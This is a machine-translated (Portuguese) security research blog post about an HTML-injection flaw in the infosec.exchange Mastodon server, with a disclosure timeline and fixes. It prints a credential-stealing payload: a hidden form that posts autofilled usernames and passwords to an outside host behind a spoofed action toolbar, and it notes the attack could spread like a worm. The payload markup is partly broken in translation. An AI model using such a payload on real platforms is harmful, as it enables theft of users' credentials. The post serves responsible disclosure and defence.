Roube senhas do infosec Mastodon – sem ignorar o CSP

Gravação que mostra um clique na barra de ferramentas falsa do Mastodon para demonstrar a vulnerabilidade de injeção de HTML que permite roubar credenciais

A história de como consegui roubar as credenciais do Infosec Mastodon com uma vulnerabilidade de injeção de HTML, sem precisar ignorar o CSP.

Todos em nosso feed do Twitter pareciam estar dando o salto para o infosec.exchange Servidor Mastodon, então decidi ver o que era. Depois de descobrir por que exatamente você tinha que ter muitos símbolos @ em seu nome de usuário, comecei a ver o quão seguro era. Se você me segue no Twitter, sabe que adoro postar vetores e testar os limites do app que uso, e hoje não foi exceção.

Primeiro, comecei a testar para ver se HTML ou Markdown eram suportados. Fiz alguns “tweets” para ver se você conseguia alguns blocos de código (seria legal?), mas nada parecia funcionar. Isto é, até @ret2bed apontou que você pode alterar suas preferências para ativar o HTML! Isso mesmo, uma rede social que permite postar HTML – o que poderia dar errado?

Habilitei essa preferência de conveniência e refiz meus testes. Markdown parecia bastante limitado. Eu esperava principalmente por blocos de código, mas eles não se materializaram. Mudei para o teste de HTML e testei o básico, como tags em negrito, que pareciam funcionar na web, mas não no celular. Enquanto eu estava testando, @securitymb me deu um link para o filtro HTML deles Código fonte e ele me mostrou um vetor muito interessante onde eles estavam decodificando entidades.

Isso me deu a impressão de que o filtro HTML dessa plataforma não era dos melhores. Estudei o código-fonte e descobri que ele suporta alguns atributos diferentes. O que parecia promissor era o atributo “título”, talvez eu pudesse marcá-lo dentro e fora? Fiz um “tweet” privado para ver se funcionava:

Para introduzir:

title="">test

Produção:

title="">test

O conteúdo do atributo foi mantido como está. Foi ótimo. Isso me deu uma carga útil para usar se eu encontrasse uma saída do atributo! Usando a tag abbr, procurei por aspas simples e duplas, ambas suportadas – embora pareça que as aspas simples foram convertidas em aspas duplas, também tentei atributos sem aspas, mas elas pareciam ter sido excluídas. Depois de muitos “tweets” privados diferentes, não consegui encontrar uma saída para o atributo.

Percebi que algumas pessoas verificaram ícone verificado ícone em seu nome e depois de fazer algumas perguntas muito úteis à comunidade, descobri que se você usasse o texto :verified: ele seria substituído por um ícone.

Para introduzir:

:verified:

Produção:

draggable="false" class="emojione custom-emoji" alt=":verified:">

O ícone era uma tag img e tinha aspas, talvez eu possa usar isso? eu coloquei o :verified: string dentro de um nó de texto âncora que estava dentro do atributo title:

Para introduzir:

title=">

Produção:

title=" false" ... > src=//garethheyes.co.uk/>

Para minha surpresa, funcionou! Eu inspecionei o HTML com devtools – a partir daí, pude ver que o iframe renderizado e meu site estavam carregando ao exibir o “tweet” graças a uma diretiva frame-src frouxa que não permite https: URL.

O filtro foi completamente destruído porque eu poderia apenas injetar HTML arbitrário, mas uma última coisa me impediu: eles estavam usando um método relativamente rígido Política de segurança de conteúdo. Praticamente todos os recursos eram limitados a infosec.exchange, exceto para iframes que permitiam qualquer URL HTTPS.

Tentei downloads de arquivos e tipos de conteúdo difuso para ver se os navegadores modernos permitir que as imagens sejam renderizadas como um script – eles não aparecem agora. Passei a manhã seguinte procurando maneiras de contornar a política ou procurando truques.

No entanto, fiquei sem tempo para o desvio do CSP, @albinowax sugeriu que eu tentasse roubar senhas usando formulários. Claro, você pode injetar elementos de formulário, então apontei um formulário para portswigger-labs.net e testei para ver se o envio do formulário funcionou. Sim, então posso falsificar o formulário de login.

Meu próximo teste foi com o preenchimento automático do Chrome – a senha seria preenchida automaticamente pelo Chrome? Claro, e sem qualquer interação do usuário! Agora que eu tinha a senha e podia criar um botão atraente para clicar, mostrei a James. Ele teve um pensamento muito mau – graças a Deus ele não é realmente mau – e se você falsificar a barra de ferramentas sob o “tweet”? Eu falsifiquei a barra de ferramentas com bastante facilidade, mas as entradas de nome de usuário e senha eram visíveis, o que a tornava menos convincente.

Quase lá agora … Testei o Chrome para ver se ele ainda preenche automaticamente as credenciais quando as entradas são invisíveis. Se você usasse um valor de opacidade zero, o Chrome ainda preencheria as credenciais convenientemente. Mas espere – não posso usar estilos embutidos por causa do CSP. Procurei nos arquivos CSS na esperança de encontrar uma classe que tivesse opacity:0 e encontrei uma em segundos. Apliquei a classe nas entradas e funcionou perfeitamente:

title=":verified:
action=//portswigger-labs.net/mastodon-demo>
name=username class=react-toggle-track-check>
type=password name=password class=react-toggle-track-check>

class='status__action-bar'> type=submit aria-label='Reply' title='Reply' class='status__action-bar-button icon-button' tabindex='0'>
role='img' class='fa fa-reply fa-fw' aria-hidden='true'>

type=submit aria-label='Boost' aria-pressed='false' title='Boost' class='status__action-bar-button icon-button' tabindex='0' > role='img' class='fa fa-retweet fa-fw' aria-hidden='true'>
type=submit aria-label='Favourite' aria-pressed='false' title='Favourite' class='status__action-bar-button star-icon icon-button' tabindex='0'> role='img' class='fa fa-star fa-fw' aria-hidden='true'>
type=submit aria-label='Bookmark' aria-pressed='false' title='Bookmark' class='status__action-bar-button bookmark-icon icon-button' tabindex='0'>
role='img' class='fa fa-bookmark fa-fw' aria-hidden='true'> class='status__action-bar-dropdown'> type=submit aria-label='Menu' title='Menu' class='icon-button' tabindex='0'> role='img' class='fa fa-ellipsis-h fa-fw' aria-hidden='true'>


">

Esse ataque pode ser facilmente desparasitado, coletando credenciais e republicando o vetor para cada usuário.

Conclusão

Relatamos essa vulnerabilidade ao Mastodon, que inicialmente sugeriu que a falha pode ser específica do Falha no garfo usado por infosec.exchange. No entanto, eles lançaram mais tarde o Mastodon 4.0.1, 3.5.5 e 3.4.10 para mitigar o problema. Depois de discutir isso com o desenvolvedor do Glitch, o núcleo do Mastodon não era vulnerável a esse ataque específico, pois não permite atributos de título. Ainda foi corrigido para corrigir a substituição de espaços reservados, como :verified:.

Foi uma ótima visão de como as mitigações modernas de navegadores podem impedir alguns ataques a aplicativos do mundo real. No entanto, também destaca como essas mitigações podem ser contornadas e ainda resultar em roubo de credenciais. A diretiva form-action pode impedir esses tipos de ataques, e a interação do usuário ao preencher as senhas também é uma boa ideia. Não se esqueça de seguir @gaz@infosec.exchange e @albinowax@infosec.exchangee certifique-se de habilitar a autenticação de dois fatores. Prometemos não roubar sua senha. Mal podemos esperar para ver como a batalha entre o Twitter e o Mastodon terminará. Por enquanto, estaremos postando nas duas plataformas.

Cronologia

Terça-feira, 8 de novembro, 18h38 – desvio do filtro HTML relatado ao Mastodon
Terça, 8 de novembro, 19h47 – Relatório confirmado
Qui, 10 de novembro, 07:37 – Glitch corrigido
Seg, 14 de novembro, 19h48 – Mastodon atualizado
Terça, 15 de novembro, 08:00 – Confirmação de que o infosec.exchange aplicou a correção
Terça, 15 de novembro, 14h – Blog publicado

Voltar para todos os artigos